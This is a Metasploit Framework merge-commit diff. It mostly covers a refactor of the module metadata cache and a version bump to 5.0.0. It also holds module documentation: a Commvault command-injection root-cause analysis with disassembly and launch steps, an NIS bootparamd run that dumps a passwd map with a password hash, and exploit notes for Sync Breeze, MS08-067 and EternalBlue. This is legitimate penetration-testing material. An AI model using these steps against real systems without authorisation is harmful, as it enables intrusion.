Merge branch 'rapid7/master' into goliath

GSoC/Meterpreter_Web_Console
James Barnett 2018-01-19 13:28:17 -06:00
commit ff9c69c7c8
No known key found for this signature in database
GPG Key ID: 647983861A4EC5EA
37 changed files with 1173 additions and 307 deletions

4
.gitignore vendored
View File

@ -93,3 +93,7 @@ docker-compose.local*
# Ignore python bytecode
*.pyc
rspec.failures
#Ignore any base disk store files
db/modules_metadata_base.pstore

View File

@ -45,8 +45,8 @@ and Metasploit's [Common Coding Mistakes].
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** [reference associated issues] in your pull request description
* **Do** write [release notes] once a pull request is landed
* **Do** [reference associated issues] in your pull request description.
* **Do** write [release notes] once a pull request is landed.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
@ -58,8 +58,8 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
* **Do** include instructions on how to setup the vulnerable environment or software
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
* **Do** include instructions on how to setup the vulnerable environment or software.
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.

20
CURRENT.md Normal file
View File

@ -0,0 +1,20 @@
Active Metasploit 5 development will sometimes push aggressive changes.
Integrations with 3rd-party tools, as well as general usage, may change quickly
from day to day. Some of the steps for dealing with major changes will be
documented here. We will continue to maintain the Metasploit 4.x branch until
Metasploit 5.0 is released.
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
Metasploit no longer stores module metadata in a PostgreSQL database, instead
storing it in a cache file in your local ~/.msf4 config directory. This has a
number of advantages:
* Fast searches whether you have the database enabled or not (no more slow search mode)
* Faster load time for msfconsole, the cache loads more quickly
* Private module data is not uploaded to a shared database, no collisions
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
* Reduced memory consumption
Code that reads directly from the Metasploit database for module data will need
to use the new module search API.

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.16.32)
metasploit-framework (5.0.0)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -18,7 +18,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.23)
metasploit-payloads (= 1.3.25)
metasploit_data_models
metasploit_payloads-mettle (= 0.3.3)
mqtt
@ -183,14 +183,14 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.23)
metasploit_data_models (2.0.15)
metasploit-payloads (1.3.25)
metasploit_data_models (2.0.16)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
metasploit-concern
metasploit-model
pg
pg (= 0.20.0)
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
@ -205,7 +205,7 @@ GEM
nessus_rest (0.1.6)
net-ssh (4.2.0)
network_interface (0.0.2)
nexpose (7.1.1)
nexpose (7.2.0)
nokogiri (1.8.1)
mini_portile2 (~> 2.3.0)
octokit (4.8.0)

View File

@ -0,0 +1,25 @@
%clr%red .;lxO0KXXXK0Oxl:.
,o0WMMMMMMMMMMMMMMMMMMKd,
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMO
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMMK;
.WMMMMMMMMMc 'OMMMMMM0,
lMMMMMMMMMMk. .kMMO'
dMMMMMMMMMMWd' ..
cWMMMMMMMMMMMNxc'.%clr%whi ##########%clr
%red .0MMMMMMMMMMMMMMMMWc%clr%whi #+# #+#%clr
%red ;0MMMMMMMMMMMMMMMo.%clr%whi +:+%clr
%red .dNMMMMMMMMMMMMo%clr +%whi#+%clr+:++#+
%red 'oOWMMMMMMMMo%clr +:+
%red .,cdkO0K;%clr :+: :+:
:::::::+:
%whiMetasploit%clr %yelUnder Construction%clr

Binary file not shown.

View File

@ -0,0 +1,110 @@
## Intro
From the `bootparamd(8)` man page:
> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
The module documented within will allow a tester to disclose the NIS
domain name from a server running `bootparamd`. After knowing the domain
name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
dump a map from a compatible NIS server (running as `ypserv`).
## Setup
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
If the link is down, you can find it via the Wayback Machine.
After that is done, install `bootparamd` however your OS provides it.
Make sure you add a client to the `bootparams` file, which is usually at
`/etc/bootparams`.
Here is an example `bootparams` file (courtesy of
[@bcoles](https://github.com/bcoles)):
```
clientname root=nfsserver:/export/clientname/root
```
You can read the `bootparams(5)` man page for more info.
Lastly, the client should be added to `/etc/hosts` if it isn't already
resolvable.
## Options
**PROTOCOL**
Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
**CLIENT**
Set this to the address of a client in the target's `bootparams` file.
Usually this is a host within the same network range as the target.
**XDRTimeout**
Set this to the timeout in seconds for XDR decoding of the response.
## Usage
```
msf > use auxiliary/gather/nis_bootparamd_domain
msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
rhost => 192.168.33.10
msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
client => 192.168.33.10
msf auxiliary(gather/nis_bootparamd_domain) > run
[+] 192.168.33.10:111 - NIS domain name for host ubuntu-xenial (192.168.33.10) is gesellschaft
[*] Auxiliary module execution completed
msf auxiliary(gather/nis_bootparamd_domain) >
```
After disclosing the domain name, you can use
`auxiliary/gather/nis_ypserv_map` to dump a map from a compatible NIS
server.
```
msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
rhost => 192.168.33.10
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
domain => gesellschaft
msf auxiliary(gather/nis_ypserv_map) > run
[+] 192.168.33.10:111 - Dumping map passwd.byname on domain gesellschaft:
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
games:*:5:60:games:/usr/games:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
uuidd:*:108:112::/run/uuidd:/bin/false
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
root:*:0:0:root:/root:/bin/bash
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
messagebus:*:107:111::/var/run/dbus:/bin/false
_apt:*:105:65534::/nonexistent:/bin/false
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
syslog:*:104:108::/home/syslog:/bin/false
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
pollinate:*:111:1::/var/cache/pollinate:/bin/false
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
lxd:*:106:65534::/var/lib/lxd/:/bin/false
[*] Auxiliary module execution completed
msf auxiliary(gather/nis_ypserv_map) >
```

View File

@ -1,8 +1,17 @@
## Vulnerable Application
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28, v10.0.28, and v10.1.16
are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker
to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities
are caused by improper bounds checking of the request path in HTTP GET requests and username value
via HTTP POST requests sent to the built-in web server, respectively.
This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available
for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe)
and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
## Verification Steps
1. Install a vulnerable Sync Breeze Enterprise
2. Start `Sync Breeze Enterprise` service
3. Start `Sync Breeze Enterprise` client application

View File

@ -1,21 +1,208 @@
# Commvault Communications Service execCmd Vulnerability
## Introduction
Commvault is a data protection and information management software; an enterprise-level data
platform that contains modules to back up, restore, archive, replicate, and search data.
According to public documentation, the data is protected by installing agent software on the
physical or virtual hosts, which use the OS or application native APIs to protect data in a
consistent state. Production data is processed by the agent on client computers and backed
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
management activity in the environment is tracked by a centralized server (called CommServe),
and can be managed by administrators through a central user interface. End users can access
protected data using web browsers or mobile devices.
One of the base services of Commvault is vulnerable to a remote command injection attack,
specifically the cvd service.
## Vulnerable Application
Commvault v11 SP5 or prior are vulnerable to this vulnerability. The specific vulnerable
version I tested was 11.0.80.0.
This module exploits a remote command injection vulnerability in the Commvault Communications service (cvd.exe). Exploitation of this vulnerability can allow for remote command execution as SYSTEM.
The version of the vulnerable DLL is:
```
Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll
Image name: CVDataPipe.dll
Timestamp: Wed Dec 21 11:59:21 2016 (585AC2F9)
CheckSum: 002ED404
ImageSize: 002F0000
File version: 11.80.50.60437
Product version: 11.0.0.0
File flags: 1 (Mask 3F) Debug
File OS: 40004 NT Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Commvault
ProductName: Commvault
InternalName: CVDataPipe
OriginalFilename: CVDataPipe.dll
ProductVersion: 11.0.0.0
FileVersion: 11.80.50.60437
PrivateBuild:
SpecialBuild:
FileDescription:
LegalCopyright: Copyright (c) 2000-2016
LegalTrademarks:
Comments:
```
## Root Cause Analysis
Usually, there are two ways to execute a command in a C/C++ application, one of them is ```WinExec()```,
and the other one is ```CreateProcess()```:
```
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
```
Since ```CreateProcess()``` is meant to replace ```WinExec()``` according to Microsoft, we can create a
breakpoint there first in our debugger (WinDBG), and we hit it:
```
0:044> g
Breakpoint 3 hit
kernel32!CreateProcessA:
00000000`76fe8730 4c8bdc mov r11,rsp
```
Looking at the callstack of this ```kernel32!CreateProcessA```, we already have a pretty good idea
locating the vulnerability:
```
0:044> k
Child-SP RetAddr Call Site
00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA
00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af
00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e
00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9
00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd
00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51
00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63
00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd
00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
```
There are two things that are interesting. One of them is ```CVDataPipe!CVDMessageHandler```, and the
other one is ```CVDataPipe!execCmd```.
```CVDataPipe!CVDMessageHandler``` is basically a function that handles our packet's message type.
The Metasploit exploit specifically sends a code of ```9h```, which is the message type for ```execCmd```:
```
.text:0000000180147103 loc_180147103: ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j
.text:0000000180147103 lea rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9
.text:000000018014710B mov [rsp+888h+var_600], rax
.text:0000000180147113 mov rdx, [rsp+888h+sock]
.text:000000018014711B mov rcx, [rsp+888h+var_600]
.text:0000000180147123 call cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &)
.text:0000000180147129 mov [rsp+888h+var_5F0], rax
.text:0000000180147131 mov r8, [rsp+888h+arg_18]
.text:0000000180147139 mov rdx, [rsp+888h+var_5F0]
.text:0000000180147141 mov rcx, [rsp+888h+structSelect]
.text:0000000180147149 call ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)
```
If we take a closer look at the ```execCmd``` function, we can tell the purpose of it is for processes such as:
* ifind (For restoring purposes)
* BackupShadow.exe (For archiving)
* Pub (Map file)
* createIndex (A Commvault process for building index)
Additional information can be found [here](https://www.securifera.com/advisories/sec-2017-0001/)
```
.text:0000000180159F1B loc_180159F1B: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j
.text:0000000180159F1B ; DATA XREF: .rdata:0000000180286258o
.text:0000000180159F1B lea rdx, aIfind ; "ifind"
.text:0000000180159F22 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F2A call cs:strstr
.text:0000000180159F30 test rax, rax
.text:0000000180159F33 jnz short loc_180159F6D
.text:0000000180159F35 lea rdx, aBackupshadow_e ; "BackupShadow.exe"
.text:0000000180159F3C lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F44 call cs:strstr
.text:0000000180159F4A test rax, rax
.text:0000000180159F4D jnz short loc_180159F6D
.text:0000000180159F4F lea rdx, aPub ; "Pub"
.text:0000000180159F56 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F5E call cs:strstr
...
.text:000000018015A0BA loc_18015A0BA: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j
.text:000000018015A0BA lea rdx, aCreateindex ; "createIndex"
.text:000000018015A0C1 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:000000018015A0C9 call cs:strstr
.text:000000018015A0CF test rax, rax
.text:000000018015A0D2 jz loc_18015A220
```
However, if you don't call one of these processes, the ```execCmd``` will assume you want to run your
custom process, and pass it to ```CreateProcess``` anyway:
```
.text:000000018015A361 loc_18015A361: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j
.text:000000018015A361 call cs:GetEnvironmentStrings
.text:000000018015A367 mov [rsp+87B8h+var_86A8], rax
.text:000000018015A36F lea rax, [rsp+87B8h+StartupInfo]
.text:000000018015A377 mov rdi, rax
.text:000000018015A37A xor eax, eax
.text:000000018015A37C mov ecx, 68h
.text:000000018015A381 rep stosb
.text:000000018015A383 mov [rsp+87B8h+StartupInfo.cb], 68h
.text:000000018015A38E lea rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A396 mov rdi, rax
.text:000000018015A399 xor eax, eax
.text:000000018015A39B mov ecx, 18h
.text:000000018015A3A0 rep stosb
.text:000000018015A3A2 mov [rsp+87B8h+StartupInfo.dwFlags], 1
.text:000000018015A3AD xor eax, eax
.text:000000018015A3AF mov [rsp+87B8h+StartupInfo.wShowWindow], ax
.text:000000018015A3B7 lea rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A3BF mov [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation
.text:000000018015A3C4 lea rax, [rsp+87B8h+StartupInfo]
.text:000000018015A3CC mov [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo
.text:000000018015A3D1 mov [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory
.text:000000018015A3DA mov [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment
.text:000000018015A3E3 mov [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags
.text:000000018015A3EB mov [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles
.text:000000018015A3F3 xor r9d, r9d ; lpThreadAttributes
.text:000000018015A3F6 xor r8d, r8d ; lpProcessAttributes
.text:000000018015A3F9 lea rdx, [rsp+87B8h+CommandLine] ; lpCommandLine
.text:000000018015A401 lea rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName
.text:000000018015A409 call cs:CreateProcessA
```
## Verification Steps
It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
anyway considering the cvd process binds to 0.0.0.0, so anybody can gain access to it under the
context of SYSTEM.
## Using the Metasploit Module
1. Start msfconsole
2. `use exploit/windows/misc/commvault_cmd_exec`
3. `set RHOST [ip]`
4. `exploit`
5. shellz :)
## References
* https://en.wikipedia.org/wiki/Commvault
* https://www.securifera.com/advisories/sec-2017-0001/

View File

@ -1,7 +1,7 @@
ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is
considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows
privilege. In modern day penetration test, this exploit would most likely be used in an internal
environment, and not so much from external due to the likelihood of a firewall.
considered a reliable exploit and allows you to gain access as SYSTEM - the highest Windows
privilege. In modern day penetration tests, this exploit would most likely be used in an internal
environment and not so much from external due to the likelihood of a firewall.
The check command of ms08_067_netapi is also highly accurate, because it is actually testing the
vulnerable code path, not just passively.
@ -15,7 +15,7 @@ This exploit works against a vulnerable SMB service from one of these Windows sy
* Windows XP
* Windows 2003
To reliability determine whether the machine is vulnerable, you will have to either examine
To reliably determine whether the machine is vulnerable, you will have to either examine
the system's patch level, or use a vulnerability check.
## Verification Steps

View File

@ -1,7 +1,7 @@
ms17_010_eternalblue is a remote exploit against Microsoft Windows, originally written by the
Equation Group (NSA) and leaked by Shadow Brokers (an unknown hacking entity). It is
considered a reliable exploit, and allows you to gain access not only as SYSTEM - the highest Windows
user mode privilege, but also full control of the kernel in ring 0. In modern day penetration test,
considered a reliable exploit and allows you to gain access not only as SYSTEM - the highest Windows
user mode privilege, but also full control of the kernel in ring 0. In modern day penetration tests,
this exploit can be found in internal and external environments.
As far as remote kernel exploits go, this one is highly reliable and safe to use.

View File

@ -22,6 +22,7 @@ module Metasploit::Framework::Spec::Constants
Error
External
Loader
Metadata
MetasploitClassCompatibilityError
Namespace
VersionCompatibilityError

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.16.32"
VERSION = "5.0.0"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -33,20 +33,24 @@ class Config < Hash
return val
end
# XXX Update this when there is a need to break compatibility
config_dir_major = 4
config_dir = ".msf#{config_dir_major}"
# Windows-specific environment variables
['HOME', 'LOCALAPPDATA', 'APPDATA', 'USERPROFILE'].each do |dir|
val = Rex::Compat.getenv(dir)
if (val and File.directory?(val))
return File.join(val, ".msf#{Metasploit::Framework::Version::MAJOR}")
return File.join(val, config_dir)
end
end
begin
# First we try $HOME/.msfx
File.expand_path("~#{FileSep}.msf#{Metasploit::Framework::Version::MAJOR}")
File.expand_path("~#{FileSep}#{config_dir}")
rescue ::ArgumentError
# Give up and install root + ".msfx"
InstallRoot + ".msf#{Metasploit::Framework::Version::MAJOR}"
InstallRoot + config_dir
end
end

View File

@ -233,24 +233,8 @@ class Framework
}
end
# TODO: Anything still using this should be ported to use metadata::cache search
def search(match, logger: nil)
# Check if the database is usable
use_db = true
if self.db and self.db.is_local?
if !(self.db.migrated && self.db.modules_cached)
logger.print_warning("Module database cache not built yet, using slow search") if logger
use_db = false
end
else
logger.print_warning("Database not connected, using slow search") if logger
use_db = false
end
# Used the database for search
if use_db
return self.db.search_modules(match)
end
# Do an in-place search
matches = []
[ self.exploits, self.auxiliary, self.post, self.payloads, self.nops, self.encoders ].each do |mset|

View File

@ -21,7 +21,7 @@ module Msf::Module::FullName
#
def fullname
type + '/' + refname
"#{type}/#{refname}"
end
def promptname

View File

@ -3,6 +3,7 @@
# Gems
#
require 'active_support/concern'
require 'msf/core/modules/metadata/cache'
# Concerns the module cache maintained by the {Msf::ModuleManager}.
module Msf::ModuleManager::Cache
@ -98,7 +99,7 @@ module Msf::ModuleManager::Cache
end
# @overload refresh_cache_from_module_files
# Rebuilds database and in-memory cache for all modules.
# Rebuilds module metadata store and in-memory cache for all modules.
#
# @return [void]
# @overload refresh_cache_from_module_files(module_class_or_instance)
@ -107,14 +108,21 @@ module Msf::ModuleManager::Cache
# @param (see Msf::DBManager#update_module_details)
# @return [void]
def refresh_cache_from_module_files(module_class_or_instance = nil)
if framework_migrated?
if module_class_or_instance
framework.db.update_module_details(module_class_or_instance)
else
framework.db.update_all_module_details
end
refresh_cache_from_database(self.module_paths)
if module_class_or_instance
Msf::Modules::Metadata::Cache.instance.refresh_metadata_instance(module_class_or_instance)
else
module_sets =
[
['exploit', @framework.exploits],
['auxiliary', @framework.auxiliary],
['post', @framework.post],
['payload', @framework.payloads],
['encoder', @framework.encoders],
['nop', @framework.nops]
]
Msf::Modules::Metadata::Cache.instance.refresh_metadata(module_sets)
end
refresh_cache_from_database(self.module_paths)
end
# Refreshes the in-memory cache from the database cache.
@ -126,25 +134,11 @@ module Msf::ModuleManager::Cache
protected
# Returns whether the framework migrations have been run already.
#
# @return [true] if migrations have been run
# @return [false] otherwise
def framework_migrated?
if (framework.db)
if (framework.db.is_local?)
return framework.db.migrated
end
end
return false
end
# @!attribute [rw] module_info_by_path
# @return (see #module_info_by_path_from_database!)
# @return (see #module_info_by_path_from_store!)
attr_accessor :module_info_by_path
# Return a module info from Mdm::Module::Details in database.
# Return a module info from Msf::Modules::Metadata::Obj.
#
# @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set.
#
@ -154,40 +148,36 @@ module Msf::ModuleManager::Cache
def module_info_by_path_from_database!(allowed_paths=[""])
self.module_info_by_path = {}
if framework_migrated?
allowed_paths = allowed_paths.map{|x| x + "/"}
allowed_paths = allowed_paths.map{|x| x + "/"}
ActiveRecord::Base.connection_pool.with_connection do
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
# Use find_each so Mdm::Module::Details are returned in batches, which will
# handle the growing number of modules better than all.each.
Mdm::Module::Detail.find_each do |module_detail|
path = module_detail.file
type = module_detail.mtype
reference_name = module_detail.refname
metadata = Msf::Modules::Metadata::Cache.instance.get_metadata
metadata.each do |module_metadata|
path = module_metadata.path
type = module_metadata.type
reference_name = module_metadata.ref_name
# Skip cached modules that are not in our allowed load paths
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
# Skip cached modules that are not in our allowed load paths
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
# The load path is assumed to be the next level above the type directory
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
# The load path is assumed to be the next level above the type directory
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
module_info_by_path[path] = {
:reference_name => reference_name,
:type => type,
:parent_path => parent_path,
:modification_time => module_detail.mtime
}
module_info_by_path[path] = {
:reference_name => reference_name,
:type => type,
:parent_path => parent_path,
:modification_time => module_metadata.mod_time
}
typed_module_set = module_set(type)
typed_module_set = module_set(type)
# Don't want to trigger as {Msf::ModuleSet#create} so check for
# key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
unless typed_module_set.has_key? reference_name
typed_module_set[reference_name] = Msf::SymbolicModule
end
# Don't want to trigger as {Msf::ModuleSet#create} so check for
# key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
if typed_module_set
unless typed_module_set.has_key?(reference_name)
typed_module_set[reference_name] = Msf::SymbolicModule
end
end
end

View File

@ -0,0 +1,8 @@
# -*- coding: binary -*-
require 'msf/core/modules'
# Namespace for module metadata related data and operations
module Msf::Modules::Metadata
end

View File

@ -0,0 +1,124 @@
require 'singleton'
require 'msf/events'
require 'rex/ui/text/output/stdio'
require 'msf/core/constants'
require 'msf/core/modules/metadata'
require 'msf/core/modules/metadata/obj'
require 'msf/core/modules/metadata/search'
require 'msf/core/modules/metadata/store'
#
# Core service class that provides storage of module metadata as well as operations on the metadata.
# Note that operations on this metadata are included as separate modules.
#
module Msf
module Modules
module Metadata
class Cache
include Singleton
include Msf::Modules::Metadata::Search
include Msf::Modules::Metadata::Store
#
# Refreshes cached module metadata as well as updating the store
#
def refresh_metadata_instance(module_instance)
refresh_metadata_instance_internal(module_instance)
update_store
end
#
# Returns the module data cache, but first ensures all the metadata is loaded
#
def get_metadata
wait_for_load
@module_metadata_cache.values
end
#
# Checks for modules loaded that are not a part of the cache and updates the underlying store
# if there are changes.
#
def refresh_metadata(module_sets)
unchanged_module_references = get_unchanged_module_references
has_changes = false
module_sets.each do |mt|
unchanged_reference_name_set = unchanged_module_references[mt[0]]
mt[1].keys.sort.each do |mn|
next if unchanged_reference_name_set.include? mn
module_instance = mt[1].create(mn)
next if not module_instance
begin
refresh_metadata_instance_internal(module_instance)
has_changes = true
rescue Exception => e
elog("Error updating module details for #{module_instance.fullname}: #{$!.class} #{$!} : #{e.message}")
end
end
end
update_store if has_changes
end
#
# Returns a hash(type->set) which references modules that have not changed.
#
def get_unchanged_module_references
skip_reference_name_set_by_module_type = Hash.new { |hash, module_type|
hash[module_type] = Set.new
}
@module_metadata_cache.each_value do |module_metadata|
unless module_metadata.path and ::File.exist?(module_metadata.path)
next
end
if ::File.mtime(module_metadata.path).to_i != module_metadata.mod_time.to_i
next
end
skip_reference_name_set = skip_reference_name_set_by_module_type[module_metadata.type]
skip_reference_name_set.add(module_metadata.ref_name)
end
return skip_reference_name_set_by_module_type
end
#######
private
#######
def wait_for_load
@load_thread.join unless @store_loaded
end
def refresh_metadata_instance_internal(module_instance)
metadata_obj = Obj.new(module_instance)
@module_metadata_cache[get_cache_key(module_instance)] = metadata_obj
end
def get_cache_key(module_instance)
key = ''
key << (module_instance.type.nil? ? '' : module_instance.type)
key << '_'
key << module_instance.refname
return key
end
def initialize
@module_metadata_cache = {}
@store_loaded = false
@console = Rex::Ui::Text::Output::Stdio.new
@load_thread = Thread.new {
init_store
@store_loaded = true
}
end
end
end
end
end

View File

@ -0,0 +1,71 @@
require 'msf/core/modules/metadata'
#
# Simple object for storing a modules metadata.
#
module Msf
module Modules
module Metadata
class Obj
attr_reader :name
attr_reader :full_name
attr_reader :rank
attr_reader :disclosure_date
attr_reader :type
attr_reader :author
attr_reader :description
attr_reader :references
attr_reader :is_server
attr_reader :is_client
attr_reader :platform
attr_reader :arch
attr_reader :rport
attr_reader :targets
attr_reader :mod_time
attr_reader :is_install_path
attr_reader :ref_name
def initialize(module_instance)
@name = module_instance.name
@full_name = module_instance.fullname
@disclosure_date = module_instance.disclosure_date
@rank = module_instance.rank.to_i
@type = module_instance.type
@description = module_instance.description.to_s.strip
@author = module_instance.author.map{|x| x.to_s}
